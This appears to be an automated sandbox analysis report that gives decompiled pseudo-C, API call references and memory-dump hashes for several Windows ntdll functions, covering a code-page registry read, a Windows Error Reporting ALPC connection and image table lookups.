0x6d27dfb7
0x6d27dfb9
0x6d27dfbf
0x6d27dfc4
0x6d27dfc7
0x6d27dfcc
0x6d27dfcc
0x00000000
0x6d27dfb7
0x6d27df8d
0x6d27df65
0x6d27df65
0x6d27df68
0x6d27df6b
0x6d27df6e
0x6d27df74
0x6d27df74
0x6d27defd
0x6d27defd
0x6d27df02
0x00000000
0x6d27df04
0x6d27df04
0x6d27df07
0x6d27df0a
0x6d27df13
0x6d2bb46e
0x6d2bb46e
0x6d27df25
0x00000000
0x6d27df25
0x6d27df02
0x6d27defb

APIs

RtlAcquireSRWLockExclusive.1105(?,00000000,?,00000000,?,?,6D243A82,?,?,?,?,?,00000001,00000000,?,?), ref: 6D27DEB5
RtlAcquireSRWLockExclusive.1105(?,?,00000000,?,00000000,?,?,6D243A82,?,?,?,?,?,00000001,00000000,?), ref: 6D27DEBE

Part of subcall function 6D262280: RtlDllShutdownInProgress.1105(00000000), ref: 6D2622BA
Part of subcall function 6D262280: ZwWaitForAlertByThreadId.1105(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6D2623A3

RtlGetCurrentServiceSessionId.1105(?,?,00000000,?,00000000,?,?,6D243A82,?,?,?,?,?,00000001,00000000,?), ref: 6D27DECE
ZwUnsubscribeWnfStateChange.1105(?,?,?,00000000,?,00000000,?,?,6D243A82,?,?,?,?,?,00000001,00000000), ref: 6D27DEEE
RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?,?,6D243A82,?,?,?,?,?,00000001), ref: 6D27DF0A
RtlFreeHeap.1105(?,00000000,?,?,?,?,?,00000000,?,00000000,?,?,6D243A82,?), ref: 6D27DF25
RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?,?,6D243A82,?,?,?,?,?,00000001), ref: 6D27DF33
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,?,00000000,?,?,6D243A82,?,?,?,?,?,00000001,00000000), ref: 6D27DF40
RtlFreeHeap.1105(?,00000000,00000000,?,?,?,?,00000000,?,00000000,?,?,6D243A82,?), ref: 6D2BB46E

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireFreeHeap$AlertChangeCurrentProgressServiceSessionShutdownStateThreadUnsubscribeWait
String ID:
API String ID: 3923771875-0
Opcode ID: dece98361787b20827140a6bdec7b3d2a3c39d81e790df53131a19ca5467eb02
Instruction ID: 9e8ca6ee1acf425e4fa4f7dddadbb9c01fcbe451440952ed762dfdb5676d24a6
Opcode Fuzzy Hash: dece98361787b20827140a6bdec7b3d2a3c39d81e790df53131a19ca5467eb02
Instruction Fuzzy Hash: 4F21007119878AEFD3328B28C840F12B7B8FF8175CF068579E1048BAA1D774E840CAA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D24E746, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 139
memoryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E6D24E746(intOrPtr __ecx, void* __edx) {
				unsigned int _v8;
				char _v12;
				long _v16;
				long _v20;
				long _v24;
				intOrPtr _v28;
				void* _v36;
				void* _t41;
				unsigned int _t48;
				void* _t49;
				short _t55;
				intOrPtr _t58;
				intOrPtr _t60;
				short* _t62;
				intOrPtr _t63;
				unsigned int _t65;
				unsigned int _t66;
				long _t68;
				intOrPtr _t70;
				signed int _t72;
				WCHAR* _t74;
				signed int _t76;
				short* _t80;
				intOrPtr _t83;
				void* _t84;
				void* _t85;
				WCHAR* _t86;

				_t63 = __ecx;
				_t84 = 0;
				_v12 = 7;
				_v24 = 0;
				_t60 = __ecx;
				_v20 = 0;
				_t85 = __edx;
				_v28 = __ecx;
				_v8 = 0;
				_v16 = 0;
				RtlInitUnicodeString( &_v36, L"AlternateCodePage");
				_push(_t63);
				_t41 = E6D24F018(_t85,  &_v36,  &_v12, 0,  &_v8);
				if(_t41 != 0xc0000034) {
					_t65 = _v8;
					if(_t65 == 0 || _t41 != 0x80000005) {
						goto L1;
					} else {
						_t66 = _t65 + 2;
						_v8 = _t66;
						_t68 = _t66 + 0x00000003 & 0xfffffffc;
						if(_t68 != 0) {
							_t41 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t68);
							_t84 = _t41;
						}
						if(_t84 == 0) {
							goto L1;
						}
						_push(_t68);
						if(E6D24F018(_t85,  &_v36,  &_v12, _t84,  &_v8) != 0 || _v12 != 1 && _v12 != 7) {
							L22:
							return RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t84);
						} else {
							_t86 = _t84;
							_t48 = _v8 >> 1;
							_t70 = 0;
							_v8 = _t48;
							_v12 = _t70;
							if(_t48 == 0) {
								goto L22;
							}
							_t62 = _t60 + 0x14;
							while(_t86 != 0 &&  *_t86 != _t70) {
								_t49 = E6D28E490(_t86, "*");
								_pop(_t72);
								if(_t49 == 0) {
									 *((short*)(_v28 + 0x14)) = _t72 | 0xffffffff;
									goto L22;
								}
								RtlInitUnicodeString( &_v36, _t86);
								if(RtlUnicodeStringToInteger( &_v36, 0xa,  &_v16) != 0) {
									L17:
									_t74 = _t86;
									_t28 =  &(_t74[1]); // 0x2
									_t80 = _t28;
									do {
										_t55 =  *_t74;
										_t74 =  &(_t74[1]);
									} while (_t55 != _v24);
									_t76 = _t74 - _t80 >> 1;
									_t83 = _v12 + 1 + _t76;
									_v12 = _t83;
									_t86 =  &(( &(_t86[_t76]))[1]);
									_t70 = 0;
									if(_t83 < _v8) {
										continue;
									}
									goto L22;
								}
								 *_t62 = _v16;
								_t62 = _t62 + 2;
								_t58 = _v20 + 1;
								_v20 = _t58;
								if(_t58 >= 4) {
									goto L22;
								}
								goto L17;
							}
							goto L22;
						}
					}
				}
				L1:
				return _t41;
			}

0x6d24e746
0x6d24e751
0x6d24e753
0x6d24e762
0x6d24e765
0x6d24e767
0x6d24e76b
0x6d24e76d
0x6d24e770
0x6d24e773
0x6d24e776
0x6d24e77b
0x6d24e78a
0x6d24e794
0x6d2a550d
0x6d2a5512
0x00000000
0x6d2a5523
0x6d2a5523
0x6d2a5526
0x6d2a552c
0x6d2a552f
0x6d2a553d
0x6d2a5542
0x6d2a5542
0x6d2a5546
0x00000000
0x00000000
0x6d2a554c
0x6d2a5562
0x6d2a561a
0x00000000
0x6d2a5578
0x6d2a557b
0x6d2a557f
0x6d2a5581
0x6d2a5582
0x6d2a5585
0x6d2a5588
0x00000000
0x00000000
0x6d2a558e
0x6d2a5591
0x6d2a55a4
0x6d2a55aa
0x6d2a55ad
0x6d2a5616
0x00000000
0x6d2a5616
0x6d2a55b4
0x6d2a55ca
0x6d2a55e2
0x6d2a55e2
0x6d2a55e4
0x6d2a55e4
0x6d2a55e7
0x6d2a55e7
0x6d2a55ea
0x6d2a55ed
0x6d2a55f8
0x6d2a55fb
0x6d2a55ff
0x6d2a5605
0x6d2a5608
0x6d2a560c
0x00000000
0x00000000
0x00000000
0x6d2a560e
0x6d2a55d0
0x6d2a55d3
0x6d2a55d9
0x6d2a55da
0x6d2a55e0
0x00000000
0x00000000
0x00000000
0x6d2a55e0
0x00000000
0x6d2a5591
0x6d2a5562
0x6d2a5512
0x6d24e7a0
0x6d24e7a0

APIs

RtlInitUnicodeString.1105(?,AlternateCodePage,6D3366C0,0000EEEE,00000000,?,?,?,6D24E3E5,6D3366C0,000003FF,00000000), ref: 6D24E776

Part of subcall function 6D24F018: RtlAllocateHeap.1105(?,00000008,?,?,00000000,?), ref: 6D24F05B
Part of subcall function 6D24F018: ZwQueryValueKey.1105(?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6D24F07A
Part of subcall function 6D24F018: memcpy.1105(00000000,0000000C,?,?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6D24F0AB
Part of subcall function 6D24F018: RtlFreeHeap.1105(?,00000000,00000000,?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6D24F0CB

RtlAllocateHeap.1105(?,00000008,?,00000007,00000000,?,?,?,AlternateCodePage,6D3366C0,0000EEEE,00000000,?,?,?,6D24E3E5), ref: 6D2A553D
_wcsicmp.1105(00000000,6D23E3F8,00000007,00000000,?,?,00000007,00000000,?,?,?,AlternateCodePage,6D3366C0,0000EEEE,00000000), ref: 6D2A55A4
RtlInitUnicodeString.1105(?,00000000,00000007,00000000,?,?,00000007,00000000,?,?,?,AlternateCodePage,6D3366C0,0000EEEE,00000000), ref: 6D2A55B4
RtlUnicodeStringToInteger.1105(?,0000000A,00000000,?,00000000,00000007,00000000,?,?,00000007,00000000,?,?,?,AlternateCodePage,6D3366C0), ref: 6D2A55C3
RtlFreeHeap.1105(?,00000000,00000000,00000007,00000000,?,?,00000007,00000000,?,?,?,AlternateCodePage,6D3366C0,0000EEEE,00000000), ref: 6D2A5627

Strings

AlternateCodePage, xrefs: 6D24E75A

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$StringUnicode$AllocateFreeInit$IntegerQueryValue_wcsicmpmemcpy
String ID: AlternateCodePage
API String ID: 3705540231-3889302423
Opcode ID: b7225d0b9254c9cd8e53f7145da43faec257e5b43195bdd4f2ba7660b4dfaad6
Instruction ID: a1c17da725ba78023b57665ef08fc55b896e43e4a0a31f2c271a0e6fb9fc2e2f
Opcode Fuzzy Hash: b7225d0b9254c9cd8e53f7145da43faec257e5b43195bdd4f2ba7660b4dfaad6
Instruction Fuzzy Hash: 6D41BE72D8021EABDB18CF94C880AFFB7B8FF84711F15856AE915E7250D7309A45CA90

Uniqueness

Uniqueness Score: -1.00%

Function 6D2D1570, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 137
nativeCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E6D2D1570(intOrPtr __ecx, signed int __edx, void* __edi, void* __eflags) {
				signed int _v8;
				char _v36;
				void _v52;
				char _v56;
				char _v60;
				short _v64;
				char _v68;
				char _v72;
				signed int _v76;
				intOrPtr _v80;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				char _v100;
				int _v104;
				int _v108;
				int _v112;
				int _v116;
				int _v120;
				char _v124;
				void* _v132;
				void* __ebx;
				void* __esi;
				void* __ebp;
				intOrPtr _t48;
				intOrPtr _t53;
				intOrPtr _t59;
				signed int _t61;
				signed int _t62;
				signed int* _t63;
				signed int* _t70;
				int _t73;
				signed int _t84;

				_t82 = __edi;
				_t81 = __edx;
				_v8 =  *0x6d33d360 ^ _t84;
				_t73 = 0;
				_v76 = __edx;
				_v80 = __ecx;
				_v60 = 0;
				_v56 = 0;
				_v68 = 0;
				_v64 = 0x500;
				_t48 = E6D2D16FA();
				_t83 = _t48;
				if(_t48 < 0) {
					L19:
					if(_v60 != 0) {
						_push(_v60);
						E6D2895D0();
					}
					return E6D28B640(_t83, _t73, _v8 ^ _t84, _t81, _t82, _t83);
				}
				_push(0);
				_push(8);
				_push( &_v100);
				_push(0x73);
				_t53 = E6D289860();
				_t83 = _t53;
				if(_t53 < 0) {
					goto L19;
				}
				_t83 = E6D2D176C(_v100);
				if(_t83 < 0) {
					goto L19;
				}
				_t92 = _t83 - 0x102;
				if(_t83 == 0x102) {
					goto L19;
				}
				RtlInitUnicodeString( &_v132, L"\\WindowsErrorReportingServicePort");
				memset( &_v52, 0, 0x2c);
				_v36 = 0x568;
				_push( &_v56);
				_t59 = E6D2D1879(0,  &_v68, __edi, _t83, _t92);
				_t83 = _t59;
				if(_t59 >= 0) {
					_t61 = _v96;
					_v124 = 0x18;
					_v120 = 0;
					_v112 = 0;
					_v116 = 0;
					_v108 = 0;
					_v104 = 0;
					if(_t61 != 0xffffffff) {
						_t81 = _t61 * 0xffffd8f0 >> 0x20;
						_t62 = _t61 * 0xffffd8f0;
						__eflags = _t62;
						_v92 = _t62;
						_t63 =  &_v92;
						_v88 = _t61 * 0xffffd8f0 >> 0x20;
					} else {
						_t73 = 1;
						_t63 = 0;
					}
					_push(_t63);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(_v56);
					_push(0x20000);
					_push( &_v52);
					_push( &_v124);
					_push( &_v132);
					_push( &_v60);
					_t83 = E6D289C70();
					if(_t83 >= 0 && _t83 != 0x102) {
						_v72 = 0x568;
						if(_t73 == 0) {
							_t70 =  &_v92;
						} else {
							_t70 = 0;
						}
						_t73 = _v76;
						_push(_t70);
						_push(0);
						_push( &_v72);
						_push(_t73);
						_push(0);
						_push(_v80);
						_push(0x20000);
						_push(_v60);
						_t83 = E6D289DA0();
						if(_t83 >= 0 && _t83 != 0x102) {
							_t83 =  *((intOrPtr*)(_t73 + 0x1c));
							if( *((intOrPtr*)(_t73 + 0x1c)) >= 0) {
								_t83 = 0;
							}
						}
					}
				}
				if(_v56 != 0) {
					E6D2D1AD6(_v56);
				}
				goto L19;
			}

0x6d2d1570
0x6d2d1570
0x6d2d1582
0x6d2d1586
0x6d2d1588
0x6d2d158c
0x6d2d158f
0x6d2d1592
0x6d2d1595
0x6d2d1598
0x6d2d159e
0x6d2d15a3
0x6d2d15a7
0x6d2d16da
0x6d2d16de
0x6d2d16e0
0x6d2d16e3
0x6d2d16e3
0x6d2d16f9
0x6d2d16f9
0x6d2d15ad
0x6d2d15ae
0x6d2d15b3
0x6d2d15b4
0x6d2d15b6
0x6d2d15bb
0x6d2d15bf
0x00000000
0x00000000
0x6d2d15cd
0x6d2d15d1
0x00000000
0x00000000
0x6d2d15d7
0x6d2d15dd
0x00000000
0x00000000
0x6d2d15ec
0x6d2d15f8
0x6d2d1600
0x6d2d160d
0x6d2d1611
0x6d2d1616
0x6d2d161a
0x6d2d1620
0x6d2d1623
0x6d2d162a
0x6d2d162d
0x6d2d1630
0x6d2d1633
0x6d2d1636
0x6d2d163c
0x6d2d1649
0x6d2d1649
0x6d2d1649
0x6d2d164b
0x6d2d164e
0x6d2d1651
0x6d2d163e
0x6d2d163e
0x6d2d1640
0x6d2d1640
0x6d2d1654
0x6d2d1657
0x6d2d1658
0x6d2d1659
0x6d2d165a
0x6d2d165b
0x6d2d1661
0x6d2d1666
0x6d2d166a
0x6d2d166e
0x6d2d1672
0x6d2d1678
0x6d2d167c
0x6d2d1686
0x6d2d168f
0x6d2d1695
0x6d2d1691
0x6d2d1691
0x6d2d1691
0x6d2d1698
0x6d2d169b
0x6d2d169c
0x6d2d16a1
0x6d2d16a2
0x6d2d16a3
0x6d2d16a5
0x6d2d16a8
0x6d2d16ad
0x6d2d16b5
0x6d2d16b9
0x6d2d16c3
0x6d2d16c8
0x6d2d16ca
0x6d2d16ca
0x6d2d16c8
0x6d2d16b9
0x6d2d167c
0x6d2d16d0
0x6d2d16d5
0x6d2d16d5
0x00000000

APIs

Part of subcall function 6D2D16FA: ZwQueryWnfStateNameInformation.1105(6D22FB74,00000001,00000000,00000568,00000004,?,?,00000000,?,?,?,?,6D2D15A3,?,00000568), ref: 6D2D1718
Part of subcall function 6D2D16FA: ZwUpdateWnfStateData.1105(6D22FB74,00000000,00000000,00000000,00000000,00000000,00000000,6D22FB74,00000001,00000000,00000568,00000004,?,?,00000000), ref: 6D2D172D
Part of subcall function 6D2D16FA: EtwEventWriteNoRegistration.1105(6D22FB7C,?,00000000,00000000,6D22FB74,00000001,00000000,00000568,00000004,?,?,00000000,?,?,?,?), ref: 6D2D174B

ZwQuerySystemInformation.1105(00000073,?,00000008,00000000,?,00000568), ref: 6D2D15B6

Part of subcall function 6D289860: LdrInitializeThunk.NTDLL(6D2D15BB,00000073,?,00000008,00000000,?,00000568), ref: 6D28986A

Part of subcall function 6D2D176C: ZwOpenEvent.1105(00000568,00100001,?,?,00000000), ref: 6D2D17B5
Part of subcall function 6D2D176C: ZwWaitForSingleObject.1105(00000568,00000000,?,00000568,00100001,?,?,00000000), ref: 6D2D17E1
Part of subcall function 6D2D176C: ZwClose.1105(00000568,00000568,00000000,?,00000568,00100001,?,?,00000000), ref: 6D2D17EB

RtlInitUnicodeString.1105(?,\WindowsErrorReportingServicePort,00000073,?,00000008,00000000,?,00000568), ref: 6D2D15EC
memset.1105(?,00000000,0000002C,?,\WindowsErrorReportingServicePort,00000073,?,00000008,00000000,?,00000568), ref: 6D2D15F8
ZwAlpcConnectPort.1105(?,?,00000018,?,00020000,?,00000000,00000000,00000000,00000000,?), ref: 6D2D1673
ZwAlpcSendWaitReceivePort.1105(?,00020000,?,00000000,?,00000568,00000000,?,?,?,00000018,?,00020000,?,00000000,00000000), ref: 6D2D16B0
ZwClose.1105(00000000,?,00000568), ref: 6D2D16E3

Strings

\WindowsErrorReportingServicePort, xrefs: 6D2D15E3

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: AlpcCloseEventInformationPortQueryStateWait$ConnectDataInitInitializeNameObjectOpenReceiveRegistrationSendSingleStringSystemThunkUnicodeUpdateWritememset
String ID: \WindowsErrorReportingServicePort
API String ID: 360723211-589754893
Opcode ID: 9d8b29a67368bf895ec7b52fbf9d022fb6b4cb6367e1fc28aef4f0d13c53680c
Instruction ID: e3941372be2898e996173d1a2b73e88c30dce42c7e05cff916f07cbd7bd5ba29
Opcode Fuzzy Hash: 9d8b29a67368bf895ec7b52fbf9d022fb6b4cb6367e1fc28aef4f0d13c53680c
Instruction Fuzzy Hash: 93417FB1D4561DABDB52CFE5D880AEEBBB9BF04714F150139E905AB290D7309D84CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 6D25DD80, Relevance: 12.3, APIs: 8, Instructions: 337
nativeCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E6D25DD80(void* __ecx, signed int __edx) {
				intOrPtr _v8;
				signed char _v13;
				void* _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				long _v40;
				signed char _v44;
				signed int _v48;
				signed int _v52;
				void* __ebp;
				signed int _t111;
				signed char _t117;
				void* _t119;
				void* _t121;
				signed int _t123;
				signed int _t132;
				intOrPtr _t141;
				signed char _t142;
				signed int _t145;
				signed int _t149;
				signed int _t150;
				signed char _t151;
				signed int* _t157;
				signed int _t162;
				signed int _t165;
				signed char _t168;
				signed int _t169;
				void* _t172;
				signed char _t176;
				char _t178;
				signed int _t186;
				signed int _t187;
				signed int _t188;
				signed int _t195;
				signed int _t199;
				void* _t201;
				signed int* _t203;
				signed int _t207;
				signed int* _t208;
				void* _t213;

				_t186 = __edx;
				_v8 =  *((intOrPtr*)(_t213 + 4));
				_t203 = __edx;
				_v24 = 0;
				_t195 = __ecx;
				_v32 = __edx;
				_v20 = __ecx;
				 *((intOrPtr*)(__edx + 4)) = 0;
				 *((intOrPtr*)(__edx + 8)) = 0;
				if( *0x6d338474 != 3) {
					L16:
					_push(0);
					_push(0xc);
					_push( &_v52);
					_push(6);
					_push(_t195);
					_push(0xffffffff);
					if(E6D289730() < 0) {
						L66:
						_t165 = 0;
						_v20 = 0;
						L21:
						_t203[1] = _t165;
						if(_t165 == 0) {
							_t187 = _v24;
							L43:
							_t111 = _t187;
							L15:
							return _t111;
						}
						_v28 = 0;
						E6D25E9C0(1, _t165, 0, 0,  &_v28);
						if(( *(_v28 + 0x5e) & 0x00000400) != 0) {
							L56:
							_t188 = _t186 | 0xffffffff;
							_t111 = _t188;
							_t203[3] = _t195 | _t188;
							 *_t203 = _t188;
							goto L15;
						}
						E6D25E9C0(1, _v20, 0, 0,  &_v40);
						_t117 = _v20;
						_t195 = 0;
						_v13 = 1;
						_t168 = _t117;
						_v24 = _t168;
						_v32 = 0;
						_v36 = 0;
						if((_t117 & 0x00000003) != 0) {
							_v24 = _t168;
							_v13 =  !_t117 & 0x00000001;
						}
						_t119 = E6D25E9C0(1, _t168, 0, 0,  &_v32);
						_t169 = _v32;
						if(_t169 == 0) {
							L72:
							if(_t119 < 0) {
								goto L74;
							}
							_t186 = _v32;
						} else {
							_t132 =  *(_t169 + 0x18) & 0x0000ffff;
							_t186 = 0x10b;
							if(_t132 != 0x10b) {
								_t186 = 0x20b;
								if(_t132 != 0x20b) {
									L74:
									_t121 = RtlImageDirectoryEntryToData(_v20, 1, 0xe,  &_v40);
									if(_t121 == 0 || ( *(_t121 + 0x10) & 0x00000001) == 0) {
										_t187 = 0;
										L42:
										_t203[3] = 0;
										 *_t203 = _t187;
										goto L43;
									} else {
										goto L56;
									}
								}
								_t186 = _v13;
								_t119 = E6D242F47(_v24, _t186, 0xa,  &_v32, _t169,  &_v36);
								_t195 = _v36;
								goto L72;
							}
							if( *((intOrPtr*)(_t169 + 0x74)) <= 0xa) {
								goto L74;
							}
							_t195 =  *(_t169 + 0xc8);
							if(_t195 == 0) {
								goto L74;
							}
							_t186 =  *(_t169 + 0xcc);
							_v36 = _t186;
							if(_v13 == 0) {
								if(_t195 <  *((intOrPtr*)(_t169 + 0x54))) {
									goto L30;
								}
								_t195 = E6D283C00(_t169, _v24, _t195);
								if(_t195 == 0) {
									goto L74;
								}
								_t186 = _v36;
								L31:
								if(_t195 == 0 || _t186 == 0 || _t186 != 0x40 && _t186 !=  *_t195) {
									goto L74;
								} else {
									_t123 =  *(_v40 + 4) & 0x0000ffff;
									if(_t123 == 0x3a64 || _t123 == 0x14c) {
										if( *_t195 < 0x48) {
											goto L74;
										}
										_t186 =  *(_t195 + 0x40);
										if(_t186 == 0) {
											goto L74;
										}
										_t195 =  *(_t195 + 0x44);
										if(_t195 == 0) {
											goto L74;
										}
										_t172 = _v20;
										if(_t186 <  *((intOrPtr*)(_v28 + 0x54)) + _t172 || _t195 >  *((intOrPtr*)(_v28 + 0x50)) - _t186 + _t172 >> 2) {
											goto L56;
										} else {
											goto L42;
										}
									} else {
										goto L74;
									}
								}
							}
							L30:
							_t195 = _t195 + _v24;
						}
						goto L31;
					}
					_t165 = _v52;
					_v20 = _t165;
					if(_t165 == 0 || (_v44 & 0x00000003) != 0 || _t195 < _t165) {
						goto L66;
					} else {
						_t203[2] = _v48;
						goto L21;
					}
				}
				E6D26FAD0(0x6d338654);
				_t141 =  *0x6d33b350; // 0x1
				if(_t141 == 1) {
					L13:
					_t142 = 0x11;
					asm("lock cmpxchg [esi], ecx");
					_t176 = 0x11;
					if(0x11 != 0x11) {
						if(1 == 0) {
							L6D29DF30(0x11, _t186, 0xc0000264);
							L62:
							_t145 = _t176 & 0xfffffff0;
							_t186 =  *(_t145 + 4);
							if(_t186 != 0) {
								L64:
								asm("lock xadd [edx+0x10], eax");
								if((_t145 | 0xffffffff) - 1 > 0) {
									goto L14;
								}
								_v28 = 0xfffffff7;
								L50:
								_t199 = _v28;
								while(1) {
									_t149 = _t176 & 0x00000006;
									_v36 = _t149;
									if(_t149 != 2) {
										_t150 = _t199;
									} else {
										_t150 = _t199 + 4;
									}
									_t186 = _t176 + _t150;
									_t151 = _t176;
									asm("lock cmpxchg [edi], esi");
									_t199 = _v28;
									if(_t151 == _t176) {
										break;
									}
									_t176 = _t151;
								}
								_t195 = _v20;
								if(_v36 == 2) {
									_t186 = 0;
									E6D2800C2(0x6d338654, 0, 0);
								}
								goto L14;
							} else {
								goto L63;
							}
							do {
								L63:
								_t145 =  *_t145;
								_t186 =  *(_t145 + 4);
							} while (_t186 == 0);
							goto L64;
						}
						if(0 != 0) {
							L48:
							if((_t176 & 0x00000008) != 0) {
								goto L62;
							}
							_v28 = _t142 | 0xffffffff;
							goto L50;
						} else {
							goto L46;
						}
						while(1) {
							L46:
							_t75 = _t176 - 0x10; // 0x1
							asm("sbb edx, edx");
							_t186 =  ~((_t176 & 0xfffffff0) - 0x10) & _t75;
							_t142 = _t176;
							asm("lock cmpxchg [esi], edx");
							if(_t142 == _t176) {
								goto L14;
							}
							_t176 = _t142;
							if((_t142 & 0x00000002) == 0) {
								continue;
							}
							goto L48;
						}
					}
					L14:
					_t111 = _v24;
					if(_t111 == 0) {
						if( *0x6d33b35c == 0) {
							goto L15;
						}
						_t203 = _v32;
						goto L16;
					}
					goto L15;
				}
				_t178 = 1;
				_t8 = _t141 - 1; // 0x0
				_t201 = _t8;
				if(_t201 < 1) {
					L12:
					_t195 = _v20;
					goto L13;
				}
				do {
					_t186 = _t178 + _t201 >> 1;
					_t157 = (_t186 << 4) + 0x6d33b360;
					_t207 = _t157[1];
					if(_v20 < _t207) {
						if(_t186 == 0) {
							goto L12;
						}
						_t201 = _t186 - 1;
						goto L7;
					}
					if(_v20 < _t157[2] + _t207) {
						_t208 = _v32;
						 *_t208 =  *_t157;
						_t208[1] = _t157[1];
						_t208[2] = _t157[2];
						_t208[3] = _t157[3];
						_t186 =  *0x7ffe0330;
						asm("ror eax, cl");
						_t162 =  *_t208 ^ _t186;
						_v24 = _t162;
						 *_t208 = _t162;
						goto L12;
					}
					_t178 = _t186 + 1;
					L7:
				} while (_t201 >= _t178);
				goto L12;
			}

0x6d25dd80
0x6d25dd92
0x6d25dda3
0x6d25dda5
0x6d25ddad
0x6d25ddaf
0x6d25ddb2
0x6d25ddb5
0x6d25ddbc
0x6d25ddc3
0x6d25de8b
0x6d25de8b
0x6d25de8d
0x6d25de92
0x6d25de93
0x6d25de95
0x6d25de96
0x6d25de9f
0x6d2ab5c2
0x6d2ab5c2
0x6d2ab5c4
0x6d25decb
0x6d25decb
0x6d25ded0
0x6d2ab645
0x6d25e01e
0x6d25e01e
0x6d25de82
0x6d25de8a
0x6d25de8a
0x6d25ded9
0x6d25dee8
0x6d25def9
0x6d25e0b6
0x6d25e0b6
0x6d25e0bb
0x6d25e0bd
0x6d25e0c0
0x00000000
0x6d25e0c0
0x6d25df0d
0x6d25df12
0x6d25df15
0x6d25df17
0x6d25df1b
0x6d25df1d
0x6d25df20
0x6d25df27
0x6d25df2c
0x6d25df35
0x6d25df38
0x6d25df38
0x6d25df46
0x6d25df4b
0x6d25df50
0x6d2ab611
0x6d2ab613
0x00000000
0x00000000
0x6d2ab615
0x6d25df56
0x6d25df56
0x6d25df5a
0x6d25df62
0x6d2ab5ee
0x6d2ab5f6
0x6d2ab61d
0x6d2ab629
0x6d2ab630
0x6d2ab63c
0x6d25e019
0x6d25e019
0x6d25e01c
0x00000000
0x00000000
0x00000000
0x00000000
0x6d2ab630
0x6d2ab5f8
0x6d2ab609
0x6d2ab60e
0x00000000
0x6d2ab60e
0x6d25df6c
0x00000000
0x00000000
0x6d25df72
0x6d25df7a
0x00000000
0x00000000
0x6d25df84
0x6d25df8a
0x6d25df8d
0x6d2ab5cf
0x00000000
0x00000000
0x6d2ab5e0
0x6d2ab5e4
0x00000000
0x00000000
0x6d2ab5e6
0x6d25df96
0x6d25df98
0x00000000
0x6d25dfb3
0x6d25dfbb
0x6d25dfc2
0x6d25dfd5
0x00000000
0x00000000
0x6d25dfdb
0x6d25dfe0
0x00000000
0x00000000
0x6d25dfe6
0x6d25dfeb
0x00000000
0x00000000
0x6d25dff4
0x6d25dffe
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6d25dfc2
0x6d25df98
0x6d25df93
0x6d25df93
0x6d25df93
0x00000000
0x6d25df50
0x6d25dea5
0x6d25dea8
0x6d25dead
0x00000000
0x6d25dec5
0x6d25dec8
0x00000000
0x6d25dec8
0x6d25dead
0x6d25ddce
0x6d25ddd3
0x6d25dddb
0x6d25de5c
0x6d25de63
0x6d25de68
0x6d25de6c
0x6d25de71
0x6d25e028
0x6d2ab58b
0x6d2ab590
0x6d2ab592
0x6d2ab595
0x6d2ab59a
0x6d2ab5a5
0x6d2ab5a8
0x6d2ab5b0
0x00000000
0x00000000
0x6d2ab5b6
0x6d25e067
0x6d25e067
0x6d25e070
0x6d25e072
0x6d25e075
0x6d25e07b
0x6d25e0dc
0x6d25e07d
0x6d25e07d
0x6d25e07d
0x6d25e080
0x6d25e08a
0x6d25e08c
0x6d25e090
0x6d25e095
0x00000000
0x00000000
0x6d25e0e0
0x6d25e0e0
0x6d25e09b
0x6d25e09e
0x6d25e0a5
0x6d25e0ac
0x6d25e0ac
0x00000000
0x00000000
0x00000000
0x00000000
0x6d2ab59c
0x6d2ab59c
0x6d2ab59c
0x6d2ab59e
0x6d2ab5a1
0x00000000
0x6d2ab59c
0x6d25e031
0x6d25e058
0x6d25e05b
0x00000000
0x00000000
0x6d25e064
0x00000000
0x00000000
0x00000000
0x00000000
0x6d25e033
0x6d25e033
0x6d25e035
0x6d25e040
0x6d25e042
0x6d25e044
0x6d25e046
0x6d25e04c
0x00000000
0x00000000
0x6d25e052
0x6d25e056
0x00000000
0x00000000
0x00000000
0x6d25e056
0x6d25e033
0x6d25de77
0x6d25de77
0x6d25de7c
0x6d25e0ce
0x00000000
0x00000000
0x6d25e0d4
0x00000000
0x6d25e0d4
0x00000000
0x6d25de7c
0x6d25dddd
0x6d25dde2
